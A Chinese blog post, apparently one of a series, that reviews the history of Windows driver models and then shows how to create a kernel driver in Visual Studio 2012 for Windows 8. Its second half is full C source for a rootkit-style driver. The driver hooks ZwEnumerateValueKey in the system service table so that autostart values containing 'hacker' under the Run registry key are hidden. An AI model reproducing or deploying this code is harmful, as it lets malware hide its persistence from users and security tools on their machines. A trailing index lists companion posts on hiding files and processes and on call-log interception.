Windows 驅動程序的發展演變?
我們在學習開發驅動程序時有必要弄清楚Windows設備驅動程序的發展演變過程(為了簡便起見,以下簡稱驅動程序),以便明白我們將要開發什么樣的驅動程序。這就象你開發一個應用程序時必須弄清楚它是運行在WINDOWS平臺下還是在DOS平臺下,否則我們能寫出什么樣的應用程序就可想而知了。?
驅動程序開發者的各項任務之中,有許多是為特定的硬件編寫驅動程序。由于WINDOWS的發展,這樣的工作在 Windows 9X 下要比在前一版Windows(windows3.x 、Windows Workgroup) 中容易得多。先了解一些歷史演變,可能會對驅動程序的編寫有所幫助。?
實模式Windows(Real-Mode Windows)?
從一開始,MS-DOS 和系統基本輸入輸出系統(BIOS) 就已經提供了許多硬件設備的驅動程序。BIOS 通過一些常用的軟件中斷,開放出驅動程序的服務 ,像INT 10h 是顯示系靳中斷,INT 13h是磁盤子系靳中斷,INT 16h 是鍵盤中斷等等。BIOS 也處理硬件中斷,并承擔對“可編程中斷控制器”(Programmable Interrupt Controller ,PIC )的管理任務。MS-DOS 也通過軟件中斷(如 INT 21h 、INT 25h 、INT 26h )提供了系統服務 ,并提供一個機制(CONFIG.SYS 中的 device= 語句),讓新的或強化后的驅動程序能?蛟諳到y啟動時被加載進操作系統內核。
標準模式Windows(Standard-Mode Windows)?
早期的 Windows 中,MS-DOS 和 BIOS 是最重要的。Windows運行在實模式狀態中,這時的Windows充其量不過是一個強化后的MS-DOS圖形用戶界面而已。從系統角度看,Windows只不過是個大的圖形應用程序。Intel 80286 的出現,使 Windows能?蛟詒;つJ街性誦脅⒒竦酶嘰? 16MB 實際內存空間。依靠保護模式和實模式的轉換,Windows 仍然繼續使用MS-DOS 和 BIOS 提供的服務來完成所有的系統需求。這種運作模式被稱為 Windows標準模式(Windows standard mode) 。在 80286 機器上切換實模式和保護模式,系統開銷很大。Intel 于是提供了一個快又有效率的指令,讓你從實模式切換到保護模式。但Intel 認為沒有什么人還需要再從保護模式切換回實模式。結果,唯一能?蛉帽;つJ匠絳潁ㄈ? Windows standard mode )存取實模式軟件(如 MS-DOS )的方法就是復位CPU(reset CPU) 。在人們開發出來的各種復位方法中,最普遍的一種就是觸發鍵盤控制器,提供由 Ctrl-Alt-Delete 鍵所發出的外部信號。于是引發所謂的三鍵失效(triple fault,即三鍵熱啟動),這是 CPU 先天無法處理的一種“失效“。事實上無論哪一種作法,代價都很昂貴,因為它們至少都得經過 BIOS 的引導程序 。事實上,在某些 286 機器,模式的切換要花掉好幾毫秒。顯然 Windows 需要一種方法,避免每次一有事件發生,像是鍵盤被按下或鼠標移動等等,就得切換到實模式。解?Q方法就是寫一個保護模式驅動程序,可以在保護模式中處理 I/O 中斷。這些驅動程序直到今天我們都還在使用,你在 SYSTEM 子目錄中看到的擴展名為 .DRV 的文件都是!包括 MOUSE.DRV 、COMM.DRV 等等。我把它們稱為 ring3 DLL 驅動程序,因為它們實質上都是 16 位 Windows 動態鏈接庫(DLLs ),在 ring3層 (Intel CPU 最不受保護的層,一般應用程序運行在ring3層,核心態的驅動程序動行在ring0層)執行。它們的任務是在不離開 CPU保護模式的前提下,和 Windows KERNEL 、USER 、GDI 模塊之間形成接口。?
增強模式Windows(Enhanced-Mode Windows )?
Intel 80386 CPU 使 Windows的第三種操作模式(所謂的 enhanced mode)成為可能。在此模式中 Windows 采用分頁(paging) 和虛擬86(V86) 特性,創造出??擬機器(VirtualMachines ,VMs )。對一個應用程序而言,VM 就像一獨立的的個人電腦,獨自擁有自己的鍵盤、鼠標、顯示器等等硬件。而實際上,經過所謂的??擬化(virtualization ),數個 VMs 共享相同硬件。對最終用戶而言,最大的好處是他現在能?蛟詿翱謐刺?中(而非全屏幕)運行MS-DOS程序 。"??擬化"是 VxDs 的工作。VxD 的名稱來自于 "virtual x device",意思是此驅動程序用來??擬化某個(x )設備。例如:VKD用來??擬化鍵盤,使Windows 和任何一個MS-DOS程序都自認為獨立擁有屬于自己的鍵盤。VMD 用來??擬化鼠標。某些 VxDs 并不是為了??擬化某些硬件,而是為了提供各種底層系統服務。頁面交換(PAGESWAP) 和 頁面文件(PAGEFILE)就屬于這種非設備VxD ,它們共同管理交換文件(swap file ),使 增強模式Windows (enhanced-modeWindows) 得以將磁盤空間分配成為??擬內存的一部份。盡管基礎技術令人耳目一新,但增強模式Windows (enhanced-mode Windows )還是繼續在磁盤和文件 I/O 方面使用 MS-DOS 和 BIOS 。需要交換(swap )一個文件時,它還是把 CPU 切換到 V86 模式,讓 MS-DOS 和 BIOS 來處理 I/O 操作。在保護模式、真實模式、V86 模式之間的所有切換動作都使得 Windows 慢下來。更多?
的延時則來自于MS-DOS 和 BIOS 不可重入這一問題(即不能兩個程序同時使用相同的服務)。Windows 必須強迫所有應用程序在同一個隊列等待實模式服務。?
Windows95?
Windows 95 將終結這一份對歷史的回憶。Windows 95 使用數種不同的驅動程序模型,大部份是使用 32 位 ring0層的虛擬設備驅動程序(VxDs) ,而非 rin3層的 DLLs 。所有的設備驅動程序都有一個具有管理功能的核心虛擬機VMM(虛擬機管理器)管理。?
Windows對中斷的處理與MS-DOS大不一樣。當中斷發生時,處理器轉換為ring0級保護模式。Windows系統并不像MS-DOS那樣通過中斷描述符表IDT(Interrupt Descriptor Table)直接指向中斷處理過程,而是由IDT入口指向VMM中的程序。該程序將判斷是否為中斷調用,如果是,則把中斷控制權交給虛擬可編程中斷控制器VPICD(Virtual Programmable Interrupt Controller Device),VPICD實際上是一個重要的VxD。VPICD再將其交給另一個注冊了該中斷的VxD(如Audcard.vxd)來處理。VxD程序是通過調用VPICD服務VPICD_Virtualize_IRQ來注冊中斷的。?
Windows 95 對于設備 (device) 的處理,一般的模型是:由一個 VxD 掌管所有中斷并執行所有數據傳輸,應用程序則使用函數調用 (function calls) 的方式對 VxDs 發出服務請求。這種VxD 為主的設備規劃模型的一個好例子就是:Windows 95 的串行通信(serial communications) 。從前 Windows的串行通訊是使用一個 ring3 驅動程序(COMM.DRV ),?群?硬件中斷處理程序以及驅動一個通用異步收發蕊片(universal asynchronous receiver-transmitter (UART )蕊片)所需的全部邏輯功能代碼。在未讓此驅動程序知道的情?r下,兩個 VxDs (VCD 和COMBUFF )攔截了硬件中斷和軟件 IN/OUT 指令,為的是??擬化每一個 port ,并且改善因多任務而引起的問題。Windows 95 也有一個 ring3 組件名為 COMM.DRV ,但這個組件已經成為新的VxD (VCOMM )的一個簡單的外層程序,只用來提供 16 位程序和 VCOMM之間的接口。VCOMM 則處于底層,聯結一般應用程序、VxD clients 、 VxD 端口驅動程序和實際的硬件。端口驅動程序現在負責處理所有中斷,并執行真正與硬件起作用的 IN/OUT 指令。?
Windows 95 文件系統是另一個好例子。過去,對文件系統服務的請求(requests ),源自于16 位保護模式程序所發出的 INT 21h 。有一個 VxD 用來處理這些 INT 21h ,并將它們切換到 V86 模式,以便讓MS-DOS 處理。MS-DOS 發出 INT 13h中斷 ,以請求使用 BIOS 的磁盤 I/O 功能;發出 INT 2Fh ,允許網絡的 "redirector modules"(重新定向模塊)將此請求通過網絡傳輸出去。Windows 95 提供給應用程序的,仍是向上兼容的接口,INT 21h 仍舊是導至文件系統的動作,但是底層基礎卻大不一樣。?
在 Windows 95 之中,一個名為“可安硯文件系統“(Installable File System ,IFS )的管理器會處理所有 INT 21h ,甚至是來自于 V86 模式的。然后它把控制權交斤一個文件系統驅動程序(File System Driver ,FSD )。有一個 FSD 名為 VFAT ,是針對 MS-DOS?
文件系統(所謂 File Allocation Table ,FAT )而設計;另一個 FSD 名為 CDFSD ,可以解析 CD-ROM 格式;此外還有其他 FSDs ,知道如何經由各種網絡彼此通訊。針對本機(local 端)FSD (如VFAT )的磁盤操作,會經過被I/O管理器(Input/Output Supervisor ,IOS)監視管理的一堆VxDs處理。甚至 V86 模式的 INT 13h 中斷調用最終也是由 IOS 處理。換句??真,實模式和保護模式所發出的對文件系靳的請求(request ),不論是針對本地(local )或遠程(remote )磁盤,有可能完全(或幾乎完全)由 VxDs 來處理。Windows 95 這種以 VxD 為中心的驅動程序模型,好處之一是,系統程序員不一定要是 MS-DOS 和 BIOS 的專家,就可以寫驅動程序。那些準備提供系統擴展組件的程序員,也同享這個好處;原本你必須了解DOS保護模式接口(DPMI)以及 Windows 核心模塊的許多神秘特性或未公開特性,現在只需了解 Win32 的 DeviceIoControl API 函數,以及那些支持所謂 "alertable waits”(即時喚醒,大意是那些可以在VXD中調用的Windows 32位 API函數,但數量極其有限,)的 Win32 API 即可。這兩個接口可以讓你把 VxD 當做 32 位應用程序的擴展組件。盡管Windows系統驅動程序設計的任務主要是在系統底層上擴展 Windows 的功能,但Windows 95 還是保留了令人印象深刻的向上兼容能力(對上層程序,如dos程序來說,它們的調用接口沒變,但底層實際操作卻大不一樣了)。DPMI 還是存在(有些16 位程序還是需要它),你還是可以運行實模式的網絡驅動程序或文件系統驅動程序--如果這是你的必要選擇。事實上,你往往可以把 Windows 3.1 的一整組硬件設備、網絡驅動程序、16 位應用程序及其必要的 VxDs 整個搬到 Windows 95 ,不至于遭遇什么大問題。
Windows98&2k&NT?
1996年的Windows Hardware Engineering Conference(WinHEC)會議上,Microsoft宣布了一種新的Windows設備驅動程序模型――Win32 Driver Model(WDM)。這種新的設備驅動程序模型將成為Windows 2000(即Windows NT 5.0)的核心。?
? 這個消息令從事Windows設備驅動程序(VxD)開發的程序員感到沮喪(雖然大家早已預料到Windows系列與Windows NT系列最終將走到一起)。WDM將vxd的開發人員帶到了一個新的起點上,什么都是新的:新的模式,新的觀點。如果你曾看過DDK的匯編代碼的話,你一定可以體會這個消息對VxD開發者是個沉重的打擊,而對于Windows NT設備驅動程序(Kernel Mode Driver)的開發者來說,卻是另一番心情――因為WDM基本等于Kernel Mode Driver+Plug and Play。
? VxD將讓位于WDM,現在令我們欣慰的是Microsoft宣布Windows 98(Windows 98支持VxD,推薦使用WDM方式驅動,但有些設備,如打印機等還不能用它,微軟預先設想的是Windows98和Windows 2k x86版在WDM驅動上可以二進制碼兼容,但實際上沒有完全實現)可能會堅持到200X年(天知道,估計也就是三兩年)。在這期間,掌握VxD技術的你還是可以主動要求老板給你加薪的。即使到了WDM一統天下之時,也不用灰心,因為無論是VxD還是WDM,都要求開發人員對計算機硬件有著全面而細致的了解。通過VxD的鍛煉,你至少熟悉了計算機的硬件資源并對保護模式有了比較深刻的認識,這些東西都是將來從事WDM開發的硬功夫。
好了,該說說Windows NT了。在Windows NT中,80386保護模式的“保護”比Windows 95中更堅固,這個“鍍金的籠子”更加結實,更加難以打破。在Windows 95中,至少應用程序I/O操作是不受限制的,而在Windows NT中,我們的應用程序連這點權限都被剝奪了。在NT中幾乎不太可能進入真正的ring0層。?
在Windows NT中,存在三種Device Driver:
? 1.“Virtual device Driver” (VDD)。通過VDD,16位應用程序,如DOS 和Win16應用程序可以訪問特定的I/O端口(注意,不是直接訪問,而是要通過VDD來實現訪問)。
? 2.“GDI Driver”,提供顯示和打印所需的GDI函數。
? 3.“Kernel Mode Driver”,實現對特定硬件的操作,比如說CreateFile, CloseHandle (對于文件對象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”還是Windows NT中唯一可以對硬件中斷和DMA進行操作的Driver。SCSI 小端口驅動和 網卡NDIS 驅動都是Kernel Mode Driver的一種特殊形式。
Visual studio2012與Windows8帶來格外不同的新體驗
1.啟動Vs2012

2.看見滿目的驅動開發模板

3.選擇一個驅動模式,有內核模式與用戶模式兩種的驅動

?
4.創建一個驅動程序,KMDF DriverMVP

?
5.我們選擇的是內核模式的驅動程序,下面是創建成功后的界面,分別是驅動程序本身,與驅動安裝包

6.按下F5,選擇驅動編譯,
?

插入下列代碼實現隱藏注冊表,請見代碼分析
~~~
#include <ntddk.h>
extern NTSYSAPI NTSTATUS NTAPI
ObQueryNameString(
IN PVOID Object,
OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
IN ULONG Length,
OUT PULONG ReturnLength
);
extern NTSYSAPI NTSTATUS NTAPI
ZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
//聲明原有的函數
typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
//定義原函數的指針
REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;
//我們HOOK的函數
NTSTATUS HookZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
PCWSTR HideValue = L"hacker";
// SYSTEMSERVICE 的定義
typedef struct ServiceDescriptorEntry
{
unsigned int * ServiceTableBase; // 關鍵字段, 指向系統服務分發例程的基地址
unsigned int * ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char * ParamTableBase;
}
ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
PVOID GetPointer( HANDLE handle )
{
PVOID pKey;
if(!handle)
return NULL;
// ObReferenceObjectByHandle函數來獲得這個Handle對應的FileObject, 得到的指針轉換成文件對象的指針
if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS )
{
pKey = NULL;
}
return pKey;
}
NTSTATUS
HookZwEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
)
{
PVOID pKey;
UNICODE_STRING *pUniName;
ULONG actualLen;
ANSI_STRING keyname;
NTSTATUS status;
UNICODE_STRING uStrValueName;
PCWSTR ValueName;
status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))(
KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength );
//得到文件對象的指針
if(pKey = GetPointer( KeyHandle))
{
//分配內存
pUniName = ExAllocatePool(NonPagedPool, 1024*2);
pUniName->MaximumLength = 512*2;
//將pUniName里的內容清空
memset(pUniName,0,pUniName->MaximumLength);
//得到注冊表項的路徑
if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen)))
{
RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);
keyname.Buffer=_strupr(keyname.Buffer);
//判斷是不是Run項
if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0)
{
switch (KeyValueInformationClass)
{
case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION
ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;
break;
case KeyValueFullInformation: //KEY_VALUE_FULL_INFORMATION
ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
break;
}
//判斷ValueName里的值是否有hacker
//如果有則將函數返回STATUS_ACCESS_DENIED
if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL))
{
DbgPrint("Hide Value\n");
RtlFreeAnsiString(&keyname);
//釋放內存
if(pUniName)
{
ExFreePool(pUniName);
}
return STATUS_ACCESS_DENIED;
}
}
}
}
status = RealZwEnumerateValueKey(KeyHandle,
Index,
KeyValueInformationClass,
KeyValueInformation,
Length,
ResultLength);
if(pUniName)
{
ExFreePool(pUniName);
}
return(status);
}
VOID
DriverUnload(
IN PDRIVER_OBJECT DriverObject
)
{
DbgPrint("驅動已經停止了\n");
(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;
}
NTSTATUS
DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
DbgPrint("驅動已經加載了\n");
RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey;
DriverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
~~~
- 前言
- Visual Studio 11開發指南(1) Visual Studio 11簡介與新特性
- Visual Studio 11開發指南(2) Visual Studio 11放棄宏處理
- Visual Studio 11開發指南(3)Visual Studio 11開發SharePoint 2011程序
- Visual Studio 11開發指南(4)Visual Studio 11編程語言發展
- Visual Studio 11開發指南(5)Visual Studio 11 IDE增強
- Visual Studio 11開發指南(6)Visual Studio 11平臺改進
- Visual Studio 11開發指南(7)NET 4.5的改善
- Visual Studio 11開發指南(8)Visual C++ 11新特色
- Visual Studio 11開發指南(9)Visual C++ 新功能體驗
- Visual Studio 11開發指南(10)Visual C++11 IDE 新功能體驗
- Visual Studio 11開發指南(11)Visual Studio 11調試游戲
- Visual Studio 11開發指南(12)Visual Studio 11可視化多核多線程編程的行為
- Visual Studio 11開發指南(13)C++11語言新特性
- Visual Studio 11開發指南(14)C++11---C++/ CX設計
- Visual Studio 11開發指南(15)C++11單元測試
- Visual Studio 11開發指南(16)C++11更新-多線程和異步操作管理
- Visual Studio 11開發指南(17)C++11更新- Lambda表達式
- Visual Studio 11開發指南(18)C++11更新-自動矢量器使用
- Visual Studio 11開發指南(19)C++11更新-并行模式庫和代理庫
- 在 C++ 中使用 PPL 進行異步編程
- 基于VisualStudio11開發Windows8的Metro sample講解(1)MessageBox
- Visual C++ 11 中新的并發功能
- 基于Windows8與Visual Studio2012開發內核隱藏注冊表
- 基于VC++2012在Windows8上實現文件隱藏
- 實現諾基亞 lumia Windows phone 的手機通話記錄截取
- 最短代碼實現windows8下的下載器-下載安裝執行一體化
- 用Visual studio2012在Windows8上開發內核驅動監視線程創建
- 用Visual studio2012在Windows8上開發內核驅動監視進程創建
- 基于Windows8與Visual Studio2012實現殺毒通用模塊
- 用Visual studio2012在Windows8上開發內核中隱藏進程
- 用Visual studio11在Windows8上開發內核枚舉注冊表
- 用Visual studio11在Windows8上開發內核驅動隱藏注冊表
- 用Visual studio11在Windows8上開發驅動實現注冊表監控和過濾
- 用Visual studio11在Windows8上開發驅動實現內存填0殺進程
- 【CSDN2012年度博客之星】喜歡本博客的讀者,投票贈送《visual C++2010開發權威指南》電子稿--感謝支持 ~(截至到2012年12月30日)
- 今天在清華圖書館看到我的杰作,感慨萬千,而我要歸零一切 !
- use Visual studio2012 developing kernel driver monitor thread creation on Windows8
- To kernel driver monitoring process developed in Windows8 create using Visual studio2012
- Under Windows8 kernel mode development NDIS application-NDIS Filter explain
- use Visual studio2012 development kernel to hidden process on Windows8